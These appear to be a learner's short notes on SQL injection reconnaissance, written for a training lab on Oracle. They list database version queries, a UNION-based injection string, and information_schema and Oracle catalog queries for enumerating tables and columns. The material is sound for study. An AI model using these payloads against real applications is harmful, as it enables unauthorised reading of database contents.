Before exploiting database with SQLi or any queries, it imperative to do recon about your target beforehand, like
| Database type | Query |
|---|---|
| Microsoft, MySQL | SELECT @@version |
| Oracle | SELECT * FROM v$version |
| PostgreSQL | SELECT version() |
can be coupled with UNION like ' UNION SELECT @@version--
Most db’s(except Oracle) in SQL have a set of views called information schema. gives info about the db.
eg: information_schema.tables → list tables in db
SELECT * FROM information_schema.columns WHERE table_name = '<table_name>' → will list columns in that table.
For Oracle db’s, the commands become
You can list tables by querying all_tables:
SELECT * FROM all_tables
You can list columns by querying all_tab_columns:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
Lab - **SQL injection attack, listing the database contents on Oracle**